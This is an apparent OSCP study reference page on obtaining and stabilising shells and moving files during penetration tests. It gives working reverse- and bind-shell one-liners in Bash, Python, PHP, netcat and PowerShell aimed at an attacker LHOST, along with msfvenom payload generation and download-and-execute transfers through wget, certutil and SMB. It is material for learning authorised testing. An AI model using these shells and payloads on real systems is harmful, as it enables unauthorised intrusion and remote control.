Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Usable access/Sessions & transfers

REFERENCE / 12 TASKS

Sessions & transfers

Confirm the target identity, choose a reachable shell direction, then stabilize the session and transfer the tools you need.

Contents ↓Tools & scripts ↓Commands ↓First-pass workflow ↓Full procedure index ↗

Contents

Jump to a task. Commands and variants are visible below; full checks and explanations stay on each technique page.

  • Execution and connection direction
    • Verify command execution, host and represented identity
    • Connect a Linux reverse shell through an available interpreter
    • Use Windows authenticated access or a PowerShell command channel
    • Use a bind shell when the target can accept inbound connections
  • Payload and terminal compatibility
    • Generate a payload matching OS, process, format and handler
    • Repair a limited Linux terminal
  • File transport and integrity
    • Transfer over HTTP using Linux or Windows clients
    • Copy files through an authenticated SSH service
    • Move Windows files through an authenticated SMB share
    • Stream a file over a direct TCP connection
    • Move a small artifact through a text-only channel
    • Use a temporary FTP transfer as a constrained fallback

Tools & scripts

SCP upstream ↗
Move files when authenticated SSH is the reachable channel.
Python HTTP server upstream ↗
Transfer a reviewed artifact over a reachable HTTP leg.
PTY / stty upstream ↗
Stabilize an existing command session; retain the original channel.

Execution and connection direction

Verify command execution, host and represented identity

Contents ↑

Use when: A PoC, injected command or remote client reports execution

Needs: A functioning execution primitive and an observable output or controlled side effect

Client commands / example output

# Baseline
delivery → execution → connection → usable session

Linux

StateDecisive evidenceDoes not yet prove
DeliveryExact bytes/request reached intended consumerPayload executed
ExecutionHarmless command output or controlled side effectNetwork callback works
ConnectionListener records the expected peerCommands and I/O are usable
SessionCommands return and host/identity are verifiedHigher privilege or stability
SituationPreferMain prerequisite / limitation
One bounded action is enoughDirect command executionObservable output or side effect; no shell required
Valid credential and remote serviceSSH, WinRM or RDPAuthentication plus remote-logon authorization
Target can reach KaliReverse shellTarget egress and a reachable Kali listener
Kali can reach a target listenerBind shellTarget can bind and inbound path permits it
Payload is staged or protocol-awareMatching framework handlerHandler must use the exact payload/transport
# Linux
id; hostname; pwd

Windows

REM Windows
whoami & hostname & cd

Linux

# Linux
hostname; id; pwd
ip addr; ip route
ss -lntup

Windows

REM Windows
hostname
whoami /all
cd
ipconfig /all
route print
netstat -ano

Client commands / example output

Record the destination host, actual identity, privilege, current directory, interfaces/routes, parent/execution context and the exact command that produced the session. Then re-enumerate from the new state.

# Baseline
exact prerequisites
→ exploit reaches expected vulnerable path
→ bounded harmless effect or identity output
→ repeatable command execution
→ payload reaches listener
→ usable session
→ verified host/identity/privilege/network position

Read / verify → Save destination identity/hostname and actual command output; use Windows hostname/whoami/ipconfig when appropriate.

If it fails → A hung request or success message does not prove execution. First establish a bounded observable effect, then diagnose the next state.

  • Linux command execution exists but an interactive channel is needed → Connect a Linux reverse shell through an available interpreter
  • A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate
  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context

Prerequisite checks & examples →Full technique →

Connect a Linux reverse shell through an available interpreter

Contents ↑

Use when: Linux command execution exists but an interactive channel is needed

Needs: A confirmed Bash/Python/PHP/Netcat implementation, correct parser wrapping, target-to-listener route and compatible listener

Client commands / example output

# Baseline
trigger context
→ target process/interpreter and architecture
→ target source interface
→ route/egress controls
→ LHOST address visible from target
→ LPORT
→ local bind interface
→ listener/handler

On Kali

# On Kali
ip -brief address
ip route
ss -lntp

Windows source/listener checks

# Windows source/listener checks
Get-NetIPAddress -AddressFamily IPv4
Get-NetRoute -AddressFamily IPv4
Get-NetTCPConnection -State Listen

Traditional/OpenBSD-style nc commonly used on Kali

# Traditional/OpenBSD-style nc commonly used on Kali
rlwrap nc -lvnp LPORT

# Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag
ncat -4 -lvn 0.0.0.0 LPORT

# Verify the bind in another terminal
ss -lntp | grep ':LPORT'

# If multiple interfaces exist, bind deliberately
ncat -4 -lvn LHOST LPORT

Bash TCP

Failure cue: a listener bound only to 127.0.0.1, the wrong VPN/interface address or the wrong address family cannot receive the expected callback. “Address already in use” means another process owns the bind.

# Bash TCP
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

# Python 3 with a PTY
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

# Portable FIFO plus Netcat when -e is absent
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f

# PHP CLI
php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'

# Linux
ncat LHOST LPORT --exec /bin/sh

Windows

REM Windows
ncat.exe LHOST LPORT --exec cmd.exe

--exec exposes the named program directly to the network connection. Use only on the assigned host and remove transferred tooling when the exercise requires cleanup.

Read / verify → Run hostname/id through the returned channel and distinguish a TCP connection from a functioning shell.

If it fails → No packets suggests route/listener/trigger; packets without commands suggest payload/listener mismatch. Check the first failed boundary.

  • A working shell lacks job control, terminal signals or interactive program support → Repair a limited Linux terminal
  • Command execution or payload delivery exists but the expected usable channel does not → Diagnose connection direction, listener and session failures in order
  • A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients
  • Reverse egress is unavailable but a target listener is reachable → Use a bind shell when the target can accept inbound connections

Prerequisite checks & examples →Full technique →

Use Windows authenticated access or a PowerShell command channel

Contents ↑

Use when: Windows execution or valid credentials with an available remote service

Needs: Accepted remote-service rights or compatible PowerShell execution; correct encoding, policy context and callback route

Prefer an available authenticated service

# Prefer an available authenticated service
evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET

PowerShell TCP shell when direct command execution is the only primitive

# PowerShell TCP shell when direct command execution is the only primitive
$client = [Net.Sockets.TcpClient]::new('LHOST',LPORT)
$stream = $client.GetStream()
$buffer = New-Object byte[] 65535
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
  $command = [Text.Encoding]::ASCII.GetString($buffer,0,$count)
  $output = (Invoke-Expression $command 2>&1 | Out-String) + "PS $((Get-Location).Path)> "
  $bytes = [Text.Encoding]::ASCII.GetBytes($output)
  $stream.Write($bytes,0,$bytes.Length)
  $stream.Flush()
}
$client.Close()

# Generate UTF-16LE Base64 locally
$command = 'COMMAND'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
$encoded

Invoke in the target command context

REM Invoke in the target command context
powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

Read / verify → Verify hostname, whoami /all and command behavior through the resulting channel.

If it fails → A saved credential may be valid for one protocol only. PowerShell policy, language mode, parser and antimalware evidence require different responses.

  • A new Windows session or claimed administrator/SYSTEM transition → Establish Windows token, host and process context
  • A WinRM listener and a candidate endpoint-authorized account → Use WinRM, WinRS or PowerShell remoting
  • PowerShell reports scripts disabled, constrained syntax or an execution-control error → Distinguish PowerShell policy, language mode and protected execution layers

Prerequisite checks & examples →Full technique →

Use a bind shell when the target can accept inbound connections

Contents ↑

Use when: Reverse egress is unavailable but a target listener is reachable

Needs: Permission to bind, compatible Netcat/Ncat behavior and source-to-target listener connectivity through any required forward

Traditional Netcat with -e support on a Linux target

Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.

# Traditional Netcat with -e support on a Linux target
nc -lvnp PORT -e /bin/sh

# Connect from Kali
nc -nv TARGET PORT

# FIFO alternative when -e is absent
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f

# Ncat target listener
ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh

Read / verify → Verify reachable listener plus hostname/id over the channel; record and later remove the created listener.

If it fails → A target-side listener with client timeout implies a route/firewall boundary. Use an appropriate forward or another allowed access form.

  • A working shell lacks job control, terminal signals or interactive program support → Repair a limited Linux terminal
  • One reachable pivot can connect to one internal TCP destination → Relay a single TCP service through a fixed forward
  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity

Prerequisite checks & examples →Full technique →

Payload and terminal compatibility

Generate a payload matching OS, process, format and handler

Contents ↑

Use when: An existing exploit/delivery primitive needs a binary or raw payload

Needs: Verified target/process architecture, delivery format, callback route, payload constraints and a matching staged/stageless listener

List rather than guess names and formats

# List rather than guess names and formats
msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

# Stageless command-shell binaries
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

# Verify the resulting artifacts
file shell.elf shell.exe
sha256sum shell.elf shell.exe

Staged versus stageless

# Staged versus stageless
stageless: complete payload delivered at once; larger, usually simpler and more stable
staged: small first stage connects and retrieves the rest; smaller initial footprint, needs matching handler and second transfer

# Metasploit naming commonly reflects the distinction
windows/x64/shell_reverse_tcp   stageless
windows/x64/shell/reverse_tcp   staged

# A staged payload normally needs multi/handler configured with the exact same payload
msfconsole -q
use exploit/multi/handler
set payload PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show options
run

Only when an existing reviewed PoC documents payload space and bad characters

# Only when an existing reviewed PoC documents payload space and bad characters
msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' \
  -s MAX_SPACE

Read / verify → Check artifact format/hash and actual session identity; generation success is not execution proof.

If it fails → Wrong architecture, stage/handler mismatch, missing second route or payload-space constraints require separate fixes. Encoding does not guarantee endpoint-control bypass.

  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
  • A payload connects without a session, or a handler/session exits unexpectedly → Pair staged payloads with the correct handler and session lifecycle
  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity

Prerequisite checks & examples →Full technique →

Repair a limited Linux terminal

Contents ↑

Use when: A working shell lacks job control, terminal signals or interactive program support

Needs: A working channel and available PTY mechanism; correct local-terminal control sequence

First obtain a PTY with an available interpreter

# First obtain a PTY with an available interpreter
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Press Ctrl-Z locally, then
stty raw -echo; fg

# Back in the remote shell
reset
export TERM=xterm-256color
stty rows 40 columns 120

# If the local terminal becomes unreadable, restore it from a separate/local shell
stty sane

# Socat can provide a stronger PTY when present on both sides
# Kali
socat file:$(tty),raw,echo=0 tcp-listen:LPORT,reuseaddr

# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

TTY repair changes terminal behavior, not privilege or network reliability. A PTY may enable job control and programs that require a terminal; it does not turn a fragile route into a stable one.

Read / verify → Check tty, signal handling and an interactive program; confirm the same identity remains.

If it fails → A dropped connection is not solved by terminal settings. If no PTY mechanism exists, use noninteractive commands or an authenticated terminal method.

  • sudo -l grants an operation under a more useful identity → Use an allowed sudo operation to cross a privilege boundary
  • A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate
  • An SSH service and a known password, private key or agent context → Use SSH passwords, keys and forwarding-capable access

Prerequisite checks & examples →Full technique →

File transport and integrity

Transfer over HTTP using Linux or Windows clients

Contents ↑

Use when: A tool/artifact must reach a target that can make an HTTP request

Needs: Correct server bind and served directory; target-to-server route, available downloader and writable destination

Shell commands

On Kali, serve the directory containing linpeas.sh:

# Baseline
cd /path/to/tools
python3 -m http.server 8000 --bind 0.0.0.0

# On the Linux target, download into a writable directory and run it
wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt

# Serve a fixed directory without changing folders
python3 -m http.server 8000 --bind 0.0.0.0 --directory /path/to/tools

# Linux target with curl
curl -fL http://LHOST:8000/FILE -o /tmp/FILE

Read: Kali should log an HTTP request and a successful response. A downloaded enumeration script is a lead generator; manually verify any escalation candidate.

Run inside PowerShell

# Run inside PowerShell
Invoke-WebRequest -Uri "http://LHOST:8000/FILE" -OutFile "C:\Windows\Temp\FILE"

Windows target with PowerShell

REM Windows target with PowerShell
powershell -NoProfile -Command "Invoke-WebRequest -Uri 'http://LHOST:8000/FILE' -OutFile 'C:\Windows\Temp\FILE'"

Windows alternatives

# Windows alternatives
(New-Object Net.WebClient).DownloadFile('http://LHOST:8000/FILE','C:\Windows\Temp\FILE')

Windows alternatives

REM Windows alternatives
curl.exe -fL http://LHOST:8000/FILE -o C:\Windows\Temp\FILE

REM Windows alternatives
certutil.exe -urlcache -split -f http://LHOST:8000/FILE C:\Windows\Temp\FILE

On Kali or Linux

Availability and policy can differ by host. certutil may leave URL-cache artifacts; remove only artifacts you created when cleanup is appropriate.

On Kali or Linux:

# On Kali or Linux
sha256sum FILE
sha256sum /tmp/FILE

On Windows

# On Windows
Get-FileHash -Algorithm SHA256 "C:\Windows\Temp\FILE"

Decisive output: matching SHA-256 values establish that the two saved files contain the same bytes. A successful HTTP status alone does not.

Read / verify → Compare sha256sum on Linux or Get-FileHash -Algorithm SHA256 on Windows, and verify destination permissions.

If it fails → No request: route/bind/egress. 404: path/name. Matching file but no execution: interpreter/format/control. Diagnose each separately.

  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
  • A Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged paths → Use enumeration tools to generate manually testable candidates
  • A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials → Turn automated Windows findings into manually verified candidates
  • A Windows source can reach a temporary assessment-side SMB service → Move Windows files through an authenticated SMB share
  • Only a raw TCP tool and a direct or forwarded connection are available → Stream a file over a direct TCP connection
  • The existing command channel permits text but no convenient file-transfer connection → Move a small artifact through a text-only channel
  • The target has an FTP client and simpler transfer routes are unavailable → Use a temporary FTP transfer as a constrained fallback

Prerequisite checks & examples →Full technique →

Copy files through an authenticated SSH service

Contents ↑

Use when: An SSH identity can access the needed source/destination

Needs: Reachable SSH/SFTP service, correct key/password and read/write rights; client/server subsystem compatibility

Kali to a Linux target

# Kali to a Linux target
scp FILE USER@TARGET:/tmp/FILE

# Run from Kali when the target's SSH service is reachable
scp USER@TARGET:/path/to/FILE ./FILE

# SSH key or nonstandard port
scp -i KEY -P PORT FILE USER@TARGET:/tmp/FILE

Read / verify → Verify copied bytes and location; uppercase -P selects scp's SSH port.

If it fails → Authentication failure, missing subsystem and destination permission failure need different changes. Prefer a supported transfer method over guessing flags.

  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
  • A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients
  • An SSH service and a known password, private key or agent context → Use SSH passwords, keys and forwarding-capable access

Prerequisite checks & examples →Full technique →

Move Windows files through an authenticated SMB share

Contents ↑

Use when: A Windows source can reach a temporary assessment-side SMB service

Needs: Inbound SMB listener on the server, outbound TCP/445 from the client, compatible SMB version and explicit share credentials

Start an authenticated SMB share on Kali

# Start an authenticated SMB share on Kali
mkdir -p share
sudo impacket-smbserver transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

# Some installations expose the legacy wrapper name
sudo smbserver.py transfer "$(pwd)/share" -smb2support -username USER -password 'PASSWORD'

Connect and download from Windows

REM Connect and download from Windows
net use \\LHOST\transfer /user:USER "PASSWORD"
copy \\LHOST\transfer\FILE C:\Windows\Temp\FILE

REM Upload evidence from Windows to Kali
copy C:\Windows\Temp\FILE \\LHOST\transfer\FILE
net use \\LHOST\transfer /delete

Kali must accept inbound TCP/445 and the target must permit outbound SMB. The share is read/write unless started with Impacket's -readonly option.

Read / verify → Verify source/destination hash and the share path; disconnect created mappings after use.

If it fails → No route, conflicting cached connection, invalid share credentials and denied filesystem writes are independent failure points.

  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
  • A Windows foothold is available; run winPEAS or a focused survey for service/task permissions, token privileges and credentials → Turn automated Windows findings into manually verified candidates
  • A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients

Prerequisite checks & examples →Full technique →

Stream a file over a direct TCP connection

Contents ↑

Use when: Only a raw TCP tool and a direct or forwarded connection are available

Needs: Unambiguous sender/receiver direction, compatible Netcat listener syntax and a writable output file

Kali receives

# Kali receives
nc -lvnp PORT > FILE

# The target sends
nc -nv LHOST PORT < /path/to/FILE

# The target receives
nc -lvnp PORT > /tmp/FILE

# Kali sends
nc -nv TARGET PORT < FILE

# If the listener rejects -p, use the OpenBSD-style form and check nc -h locally
nc -lvn PORT > FILE

Read / verify → Compare hashes and avoid mixing diagnostic text into the file stream.

If it fails → A connection without a complete hash match proves only transport. Use SCP/HTTP/SMB when those routes exist.

  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
  • A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients
  • One reachable pivot can connect to one internal TCP destination → Relay a single TCP service through a fixed forward

Prerequisite checks & examples →Full technique →

Move a small artifact through a text-only channel

Contents ↑

Use when: The existing command channel permits text but no convenient file-transfer connection

Needs: Available Base64 encode/decode, adequate command length and a writable destination

Encode on Linux

# Encode on Linux
base64 -w 0 FILE

# Decode on Linux
printf '%s' 'BASE64_DATA' | base64 -d > /tmp/FILE

Decode in PowerShell

# Decode in PowerShell
[IO.File]::WriteAllBytes('C:\Windows\Temp\FILE',[Convert]::FromBase64String('BASE64_DATA'))

Read / verify → Require a complete matching hash; keep encoded secrets in private evidence rather than reusable notes.

If it fails → Truncation, wrapping and quoting often corrupt long values. Use a network transfer for larger files.

  • A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries
  • A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context

Prerequisite checks & examples →Full technique →

Use a temporary FTP transfer as a constrained fallback

Contents ↑

Use when: The target has an FTP client and simpler transfer routes are unavailable

Needs: A deliberately selected temporary server, correct served directory, control/data paths and binary transfer mode

On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment

# On Kali, after intentionally selecting/installing pyftpdlib in an isolated environment
python3 -m pyftpdlib -p PORT

On the target

# On the target
ftp LHOST PORT
binary
get FILE
put FILE
quit

The default temporary server can be unauthenticated and plaintext. Bind/serve only the intended directory, expose it only for the transfer, compare hashes and stop it immediately. HTTP/SCP/SMB are normally preferable.

Read / verify → Compare bytes and stop the temporary server after its purpose is complete.

If it fails → A working control session with failed data transfer requires data-channel troubleshooting. Choose HTTP/SCP/SMB when available.

  • A downloaded/generated artifact exists but does not run → Match an artifact to its executable consumer and runtime
  • A tool/artifact must reach a target that can make an HTTP request → Transfer over HTTP using Linux or Windows clients
  • An SSH identity can access the needed source/destination → Copy files through an authenticated SSH service

Prerequisite checks & examples →Full technique →

First pass: tools and findings

Use the steps matching your current access. Follow a concrete finding instead of completing every technique in order.

Verify the host and command identity

A single response is not necessarily a stable session. Record the actual destination and output channel.

hostname
id
pwd
ip addr
ip route
  • If Commands execute as the expected target identity → Connect a Linux reverse shell through an available interpreter

    Choose the available callback direction and interpreter.

  • If Callback cannot reach the listener → Diagnose connection direction, listener and session failures in order

    Inspect the actual initiator, destination and route.

Otherwise: Output cannot be attributed to the destination: repeat the host/identity proof. Open Verify command execution, host and represented identity →

Full commands & alternatives →

Transfer a reviewed tool through a reachable route

Serve from the attacker and download on the target only when that direction is reachable. Verify the received artifact.

wget http://LHOST:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh | tee /tmp/linpeas.txt
  • If The verified Linux enumerator is present → Use enumeration tools to generate manually testable candidates

    Run the LinPEAS baseline and inspect its findings.

  • If HTTP is unavailable but SSH file access works → Copy files through an authenticated SSH service

    Use SCP instead of forcing the same failing transport.

  • If SMB is the usable authenticated channel → Move Windows files through an authenticated SMB share

    Use the SMB transfer procedure in that identity.

Otherwise: Bytes differ or the file is missing: fix transfer before interpreting execution errors. Open Match an artifact to its executable consumer and runtime →

Full commands & alternatives →

Additional organization and gap review informed by 0xsyr0/OSCP ↗. Tool links open upstream sources.

HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8